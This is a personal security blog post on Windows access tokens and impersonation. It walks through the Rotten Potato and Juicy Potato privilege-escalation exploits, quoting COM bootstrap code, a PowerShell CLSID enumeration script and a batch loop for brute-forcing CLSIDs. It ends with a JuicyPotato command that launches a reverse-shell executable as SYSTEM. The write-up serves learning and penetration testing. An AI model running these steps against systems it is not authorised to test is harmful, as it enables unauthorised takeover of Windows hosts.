Potatoes

Tuesday, February 25, 2020

Introduction

Windows is weird. Its able to use Impersonation Tokens which immediately sounds dodgy. But before diving into anything like that, some background knowledge is required.

Access Tokens

Access tokens are objects that describe the security context of a process. The information within a token include the identity/privileges of the user account associated with a given process. When a user logs on, the system verifies the user’s password by comparing it with information stored in a SAM Database and if the password is good, the system produces an access token. Every process executed on behalf of this user has a copy of this access token.

Windows will use these access tokens to identify the user when a process interacts with a securable object or when it tries to perform a system task that requires some sort of privilege.

Side note:

A securable object is an object that can have a security descriptor. All named Windows objects are securable. Some unnamed objects, such as process and thread objects, can have security descriptors too. For most securable objects, you can specify an object’s security descriptor in the function call that creates the object. For example, you can specify a security descriptor in the CreateFile and CreateProcess functions.1

For any of this to work, these tokens hold a lot of information2:

Every process has a must have an Access Token created by the Windows kernel3, known as a Primary Token. This describes the security context4 of the user account which is associated with the process.

The system will use this primary token by default when a thread of the process interacts with a securable object. Additionally, a thread is able to impersonate a client account, which is where this post is heading towards.

The ability to Impersonate allows the thread to interact with securable objects using the client’s security context. A thread that is impersonating a client has both a primary token and an impersonation token.

Impersonation

Impersonation gives a thread the ability to disregard its current security information, and execute using different security information5.

Due to all of this, impersonation is a goldmine for privilege escalation. Most notably, RottenPotato. This has since been updated and is now RottenPotatoNG.

Rotten Potato

In 2016, Fox Glove Security put out some research on escalating privilege with exactly all of this. In addition to this writeup, they gave a talk at BlackHat.

So, the exploit. It operates with 3 steps.

Step 1: Relaying

The abuse starts with a COM API called:

CoGetInstanceFromIStorage()

This call will attempt to grab an instance of the specified object from a location specified by the caller. The next piece of code is from the Fox Glove Sexurity blog6:

public static void BootstrapComMarshal()
{
IStorage stg = ComUtils.CreateStorage();

// Use a known local system service COM server, in this cast BITSv1
Guid clsid = new Guid("4991d34b-80a1-4291-83b6-3328366b9097");

TestClass c = new TestClass(stg, String.Format("{0}[{1}]", "127.0.0.1", 6666)); // ip and port

MULTI_QI[] qis = new MULTI_QI[1];

qis[0].pIID = ComUtils.IID_IUnknownPtr;
qis[0].pItf = null;
qis[0].hr = 0;

CoGetInstanceFromIStorage(null, ref clsid, null, CLSCTX.CLSCTX_LOCAL_SERVER, c, 1,       qis);
}

The code is telling COM to grab an instance of the BITS object by getting the 4991d34b-80a1-4291-83b6-3328366b9097 CLSID and it has to be loaded from 127.0.0.1:6666 as seen on line 8.

Searching this CLSID on the Juicy Potato repo shows that it is the same on most Operating Systems. I don’t know enough to say that it will always be this, but it appears to be the same on every OS(?).

This same code is reflected in Juicy Potato, like so:

	IStorageTrigger* t = new IStorageTrigger(stg);

	CLSID clsid;
	CLSIDFromString(olestr, &clsid);
	CLSID tmp;
	//IUnknown IID
	CLSIDFromString(OLESTR("{00000000-0000-0000-C000-000000000046}"), &tmp);
	MULTI_QI qis[1];
	qis[0].pIID = &tmp;
	qis[0].pItf = NULL;
	qis[0].hr = 0;

	//Call CoGetInstanceFromIStorage
	HRESULT status = CoGetInstanceFromIStorage(NULL, &clsid, NULL, CLSCTX_LOCAL_SERVER, t, 1, qis);

Additionally, TestClass is an instance of an IStorage object in which Fox Glove Security did some magic. For anyone who cares, here is the exact object being referenced:

HRESULT CreateStorage(
  const OLECHAR *pwcsName,
  DWORD         grfMode,
  DWORD         reserved1,
  DWORD         reserved2,
  IStorage      **ppstg
);

And the full object reference for CoGetInstanceFromIStorage :

HRESULT CoGetInstanceFromIStorage(
  COSERVERINFO *pServerInfo,
  CLSID        *pClsid,
  IUnknown     *punkOuter,
  DWORD        dwClsCtx,
  IStorage     *pstg,
  DWORD        dwCount,
  MULTI_QI     *pResults
);

All this wizardry tricks the BITS service into connecting back to 127.0.0.1:6666.

Step 2: Man-in-the-middle

The service is now communicating back to the address. So, naturally, the next thing is to relay this authentication process.

COM will be trying to communicate via RPC. As I’m not experience in RPC, I’ll probably undersell this section. But, the next stage is to relay any packets receivedd from COM onto the port specified, and then back to the local Windows RPC listener on TCP port 135.

Step 3: Negotiation

The relay works like so:

  1. The AcquireCredentialsHandle API call is made to get a handle on the data structure that will be needed.
  2. With that, another API call is made: AcceptSecurityContext. This call will take in a NTLM Type 1 (Negotiate) message which will then spit out a NTLM Type 2 (Challenge) message. This can then be sent back to the client that is attempting to authenticate. In the instance of all of this, it will be DCOM.
  3. Hopefully, the client will respond with a NTLM Type 3 (Authenticate) message. If so, it can passed again to AcceptSecurityContext. This should complete the authentication process and get a token!

Again, Fox Glove Security go into excruciating detail here.

With all of that said, and with the final result of AcceptSecurityContext, a call can be made to ImpersonateSecurityContext to get an impersonation token.

Impersonation

Social Engineering the Windows Kernel discusses extensively on using impersonation tokens. This talk discusses the SeImpersonate privilege or SeAssignPrimaryToken.

Juicy Potato

The Rotten Potato exploit isn’t maintained very often and doesn’t allow for much in terms of dynamically passing CLSID’s. To solve this, we have Juicy Potato.

Firs thing first, identify the privileges:

whoami /priv

The above screenshot is from a standard install of Windows 10. But, importantly, the SeImpersonatePrivilege is set. Next, finding the correct CLSID.

Within the Juicy Potato project is a file called GetCLSID.ps1. Something to bare in mind is that a few lines may new changing, by default it will create a folder and write two files into it. This should be altered:

$RESULT | Select CLSID -ExpandProperty CLSID | Out-File -FilePath ".\$TARGET\CLSID.list" -Encoding ascii

Additionally, it will open a GUI to display the data, might be best to kill this line:

$RESULT | ogv

Whether its guessed or enumerated, the full list of CLSID’s can be found here.

Next thing to look at is the binary to be executed. Obviously, it can be anything. For this example, I’ll just launch a new cmd.exe.

Here is the test command:

.\JuicyPotato.exe -t * -l 13337 -p "C:\Windows\System32\cmd.exe" -c '{b8fc52f5-cb03-4e10-8bcb-e3ec794c54a5}'

However, this does not work:

Testing {b8fc52f5-cb03-4e10-8bcb-e3ec794c54a5} 13337
COM -> recv failed with error: 10038

To find the correct CLSID, a bat file was created:

@echo off
:: Starting port, you can change it
set /a port=10000
SETLOCAL ENABLEDELAYEDEXPANSION

FOR /F %%i IN (CLSID.list) DO (
   echo %%i !port!
   juicypotato.exe -z -l !port! -c %%i >> result.log
   set RET=!ERRORLEVEL!
   :: echo !RET!
   if "!RET!" == "1"  set /a port=port+1
)

This essentially loops over CLSID.list and tries the command. To create this list, the aforementioned GetCLSID.ps1 will be used. After removing several things, the script now looks like this:

$ErrorActionPreference = "Stop"
New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT
$CLSID = Get-ItemProperty HKCR:\clsid\* | select-object AppID,@{N='CLSID'; E={$_.pschildname}} | where-object {$_.appid -ne $null}
$CLSID | Select CLSID -ExpandProperty CLSID | Out-File -FilePath "CLSID.list" -Encoding ascii

The following gets created:

-a----       25/02/2020     22:02          29640 CLSID.list

Armed with all this, run the bat. This part can take sometime to run, but to speed it up its always worth trying to match up the OS version. For example, the server is a Windows Server 2016 Standard, then the matching list may be worth doing. Make sure that the OS matches the exact name. If not, just go for the method described above.

On a successful match, the port will be incremented by 1:

if "!RET!" == "1"  set /a port=port+1

This resource may also be useful if there are issues with CLSID: https://ohpe.it/juicy-potato/CLSID/

Once a valid CLSID has been found, execute juicypotato.exe again:

.\juicypotato.exe -l 13337 -p rev-shell.exe -t * -c "{CLSID}"

Enjoy being SYSTEM.

References


  1. Securable Objects ↩︎

  2. Access Tokens ↩︎

  3. Primary Token ↩︎

  4. Security Context ↩︎

  5. Impersonation ↩︎

  6. Rotten Potato – Privilege Escalation from Service Accounts to SYSTEM ↩︎

WindowsPrivilege EscalationPost Exploitation

Csharp Reflection

#TIFG: Kerberos